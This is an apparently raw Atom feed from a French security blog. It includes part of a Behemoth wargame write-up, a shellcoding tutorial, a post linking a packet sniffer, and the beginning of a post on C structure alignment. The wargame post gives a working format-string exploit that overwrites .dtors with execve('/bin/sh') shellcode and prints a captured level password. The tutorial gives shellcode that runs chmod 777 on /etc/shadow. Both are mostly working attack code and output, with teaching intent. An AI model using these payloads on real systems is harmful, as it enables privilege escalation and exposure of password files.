style="border: 1px solid white;"&gt;(gdb) r &lt; &lt;(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'")&lt;br /&gt;&lt;br /&gt;(..)000000000003086877440&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x0804846a in main ()&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;on regarde ce qu'il y a dans .dorts:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;(gdb) x/x 0x08049598&lt;br /&gt;0x8049598 &lt;__DTOR_END__&gt;:       0xbffff948&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Yeah :)&lt;br /&gt;et maintenant on vérifie que 0xbffff948 pointe bien sur le début de notre shellcode:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;(gdb) x/x 0xbffff948&lt;br /&gt;0xbffff948:     0x99580b6a&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;C'est bien le cas.&lt;br /&gt;&lt;br /&gt;On ajoute un cat a la fin pour ne pas perdre notre shell a cause de python....&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;(gdb) r &lt; &lt;(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'" ; cat)&lt;br /&gt;(...)0003086877440&lt;br /&gt;id&lt;br /&gt;uid=1004(level4) gid=1004(level4) groups=1004(level4)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Cela a l'air de fonctionner, sauf qu'on est sous gdb ;) donc pas de euid=level5&lt;br /&gt;&lt;br /&gt;On quitte gdb et on test for real:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;level4@behemoth:/wargame$ (python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'" ; cat) | ./level4&lt;br /&gt;(...)000003086877440&lt;br /&gt;id&lt;br /&gt;Illegal instruction&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Snif...&lt;br /&gt;&lt;br /&gt;Je pense que c'est du au fait qu'on est plus dans un environnement de debug. Donc il peut y avoir un petit décalage pour l'adresse de buffer.&lt;br /&gt;Qu'a cela ne tienne, on va rajouter une dizaine de nops au début de notre shellcode...&lt;br /&gt;&lt;br /&gt;Cependant notre chaine va grandir de 10, donc il faut en prendre compte!&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;[dtor+2][dtor][shellcode][%. (49151 -(8 + longueur shellode +10nop)) u%8$hn][%. (63816- (49151) u%8$hn]&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Donc:&lt;br /&gt;On affichera d'abord 49110 caractères&lt;br /&gt;Puis 63816-49110= 14706 caractères&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49110u%8\$hn'+'%.14706u%9\$hn'" ; cat) | ./level4&lt;br /&gt;&lt;br /&gt;(....)086877440&lt;br /&gt;id&lt;br /&gt;uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4)&lt;br /&gt;cat /home/level5/.passwd&lt;br /&gt;aeJ/a`z6&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Crac boum.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-2693616634837925802?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/2693616634837925802/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=2693616634837925802' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/2693616634837925802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/2693616634837925802'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2010/03/format-string-par-lexemple.html' title='Format String par l&apos;exemple'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-5601988046141687383</id><published>2009-03-24T16:54:00.000+01:00</published><updated>2010-09-29T09:59:21.594+02:00</updated><title type='text'>ShellCoding For Dummies</title><content type='html'>Aujourd'hui un petit cours de shellcoding (sous Linux).&lt;br /&gt;Alors on va réaliser un petit shellcode qui effectue un "chmod 666 /etc/shadow".&lt;br /&gt;Nous allons pour cela procéder par étapes:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;1] Repérer le(s) appel(s) Système à utiliser.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pour ca on va lire le fichier /usr/include/asm/unistd.h (ou regarder ici : &lt;a href="http://oldlinux.org/lxr/http/source/include/unistd.h#L75"&gt;unistd.h&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Voyons donc ce que nous renvoye un "cat /usr/include/asm/unistd.h |grep chmod":&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;&lt;br /&gt;sm0k3@localhost ~/Trash $ cat /usr/include/asm/unistd.h |grep chmod&lt;br /&gt;#define __NR_chmod               15&lt;br /&gt;#define __NR_fchmod              94&lt;br /&gt;#define __NR_fchmodat           306&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;EDIT: Je vous conseille d'utiliser http://syscalls.kernelgrok.com/ au lieu de unistd.h, beaucoup plus pratique, vous en conviendrez!&lt;br /&gt;&lt;br /&gt;On voit donc que l'identifiant de chmod est 15, notons bien ce chiffre.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2] Programmer notre Shellcode&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 0pt auto; width: 95%;"&gt;   &lt;div class="asm"  style="border: 1px solid rgb(208, 208, 208); color: rgb(0, 0, 102); background-color: rgb(240, 240, 240);font-family:monospace;"&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt;    &lt;span style="color: rgb(51, 153, 51);"&gt;%&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,%&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;        &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; On met 0 dans eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt;   &lt;span style="color: rgb(51, 153, 51);"&gt;%&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;             &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; On dépose ce 0 sur la pile&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt;    $&lt;span style="color: rgb(0, 0, 255);"&gt;0xf&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,%&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;al&lt;/span&gt;         &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; On met 0xf (15 quoi) dans al (partie basse de ax, lui meme partie basse de eax)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt;   $&lt;span style="color: rgb(0, 0, 255);"&gt;0x776f6461&lt;/span&gt;      &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; On dépose "/etc/shadow" sur la pile&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt;   $&lt;span style="color: rgb(0, 0, 255);"&gt;0x68732f63&lt;/span&gt;      &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; Le 0 posé précedemment sert à terminer cette chaine&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt;   $&lt;span style="color: rgb(0, 0, 255);"&gt;0x74652f2f&lt;/span&gt;      &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; (souvenez vous de \0 en C)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt;    &lt;span style="color: rgb(51, 153, 51);"&gt;%&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esp&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,%&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;        &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; On stocke l'adresse de la chaine que l'on vient de poser sur la pile dans ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt;    &lt;span style="color: rgb(51, 153, 51);"&gt;%&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,%&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;        &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; On met 0 dans ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt;    $&lt;span style="color: rgb(0, 0, 255);"&gt;0x1ff&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,%&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;cx&lt;/span&gt;       &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; On met 0x1ff (777 en base octale) dans cx (partie basse de ecx)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;int&lt;/span&gt;    $&lt;span style="color: rgb(0, 0, 255);"&gt;0x80&lt;/span&gt;            &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; On apelle l'interruption [donc chmod("/etc/shadow",777)] Note: 666 aurait suffit mais bon&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt;    &lt;span style="color: rgb(51, 153, 51);"&gt;%&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;             &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; Comme chmod met 0 dans eax lorsqu'il réussi, on incrémente eax de 1 pour utiliser l'interruption exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;int&lt;/span&gt;    $&lt;span style="color: rgb(0, 0, 255);"&gt;0x80&lt;/span&gt;            &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; On apelle l'interruption&lt;/span&gt;&lt;/div&gt; &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3] Assembler &amp;amp; Linker tout ca&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;$ as -o shellcode.o shellcode.asm&lt;br /&gt;$ ld -o shellcode shellcode.o&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4] Notre Shellcode&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_orYbpGQL4hA/SckJw2GDbqI/AAAAAAAAAC4/VQE7wO21FOc/s1600-h/shellcode.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 257px;" src="http://2.bp.blogspot.com/_orYbpGQL4hA/SckJw2GDbqI/AAAAAAAAAC4/VQE7wO21FOc/s400/shellcode.PNG" alt="" id="BLOGGER_PHOTO_ID_5316791569846857378" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;On voit bien notre shellcode sur la partie gauche de l'image, pret a etre recopié :)&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include "stdio.h"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; main&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; argc&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;argv&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; shellcode&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x31&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\xc0&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x50&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\xb0&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x0f&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x68&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x61&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x64&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x6f&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x77&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x68&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x63&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x2f&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x73&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x68&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x68&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x2f&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x2f&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x65&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x74&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x89&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\xe3&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x31&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\xc9&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x66&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\xb9&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\xff&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x01&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\xcd&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x80&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x40&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\xcd&lt;/span&gt;&lt;span style="color: rgb(102, 0, 153); font-weight: bold;"&gt;\x80&lt;/span&gt;"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="color: rgb(0, 0, 96);" href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"Length: %d&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;strlen&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;shellcode&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;void&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; shellcode&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(0, 0, 221);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_orYbpGQL4hA/SckMUetUC_I/AAAAAAAAADA/eMkam-KbOTA/s1600-h/shellcode2.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 398px; height: 144px;" src="http://1.bp.blogspot.com/_orYbpGQL4hA/SckMUetUC_I/AAAAAAAAADA/eMkam-KbOTA/s400/shellcode2.PNG" alt="" id="BLOGGER_PHOTO_ID_5316794381067619314" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Et voila :) have fun!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-5601988046141687383?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/5601988046141687383/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=5601988046141687383' title='8 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/5601988046141687383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/5601988046141687383'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2009/03/shellcoding-for-dummies.html' title='ShellCoding For Dummies'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_orYbpGQL4hA/SckJw2GDbqI/AAAAAAAAAC4/VQE7wO21FOc/s72-c/shellcode.PNG' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-7228437170678082983</id><published>2009-03-20T11:52:00.001+01:00</published><updated>2009-03-20T12:34:41.577+01:00</updated><title type='text'>A {Very} Basic Sniffer</title><content type='html'>Hello, bon c'est vrai que ça fait longtemps que j'ai pas posté :p j'avoue que je travaille peu ces temps ci! Ci joint la source (un peu) commentée d'un sniffer Unix basique utilisant les librairies LibPcap et LibNet. Le dossier compressé comprend un projet Code::Blocks, n'oubliez pas d'ajouter -lpcap et -lnet dans les options de link si ce n'est pas déja fait. La suite suivra sous peu (ajout du support des filtres...). Cette version est vraiment un premier jet, c'est juste un exemple d'utilisation de la libPcap en somme.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.other-project.net/tools/5m0k3/Mod_Sniffer.rar"&gt;Mod_Sniffer&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;:]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-7228437170678082983?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/7228437170678082983/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=7228437170678082983' title='9 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/7228437170678082983'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/7228437170678082983'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2009/03/very-basic-sniffer.html' title='A {Very} Basic Sniffer'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-7103023462543524513</id><published>2009-01-19T12:22:00.000+01:00</published><updated>2009-01-19T14:28:02.190+01:00</updated><title type='text'>Data Structure Alignment</title><content type='html'>Spéciale pour &lt;a href="http://geo0w.blogspot.com/"&gt;Geo&lt;/a&gt; celle la :p.&lt;br /&gt;&lt;br /&gt;Observons la source suivante:&lt;br /&gt;&lt;br /&gt;&lt;div class="c" style="font-family:monospace;color: #006; border: 1px solid black; background-color: white; margin:2px;"&gt;&lt;ol&gt;&lt;li style="font-weight: normal; vertical-align:top;font: normal normal 100% 'Courier New', Courier, monospace; color: #003030;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&lt;span style="color: #339933;"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: normal; vertical-align:top;font: normal normal 100% 'Courier New', Courier, monospace; color: #003030;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&lt;span style="color: #339933;"&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: normal; vertical-align:top;font: normal normal 100% 'Courier New', Courier, monospace; color: #003030;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: normal; vertical-align:top;font: normal normal 100% 'Courier New', Courier, monospace; color: #003030;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&lt;span style="color: #993333;"&gt;int&lt;/span&gt; main&lt;span style="color: #009900;"&gt;&amp;#40;&lt;/span&gt;&lt;span style="color: #009900;"&gt;&amp;#41;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: bold; vertical-align:top;font-weight: bold; color: #006060;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&lt;span style="color: #009900;"&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: normal; vertical-align:top;font: normal normal 100% 'Courier New', Courier, monospace; color: #003030;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: normal; vertical-align:top;font: normal normal 100% 'Courier New', Courier, monospace; color: #003030;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&amp;nbsp; &amp;nbsp; &lt;span style="color: #993333;"&gt;typedef&lt;/span&gt; &lt;span style="color: #993333;"&gt;struct&lt;/span&gt; &lt;span style="color: #009900;"&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: normal; vertical-align:top;font: normal normal 100% 'Courier New', Courier, monospace; color: #003030;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&amp;nbsp; &amp;nbsp; &lt;span style="color: #993333;"&gt;short&lt;/span&gt; foo1&lt;span style="color: #339933;"&gt;;&lt;/span&gt; &lt;span style="color: #666666; font-style: italic;"&gt;// 2 octets&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: normal; vertical-align:top;font: normal normal 100% 'Courier New', Courier, monospace; color: #003030;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&amp;nbsp; &amp;nbsp; &lt;span style="color: #993333;"&gt;int&lt;/span&gt; foo2&lt;span style="color: #339933;"&gt;;&lt;/span&gt; &lt;span style="color: #666666; font-style: italic;"&gt;// 4 octets&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: bold; vertical-align:top;font-weight: bold; color: #006060;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&amp;nbsp; &amp;nbsp; &lt;span style="color: #009900;"&gt;&amp;#125;&lt;/span&gt; MaStructure&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: normal; vertical-align:top;font: normal normal 100% 'Courier New', Courier, monospace; color: #003030;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; 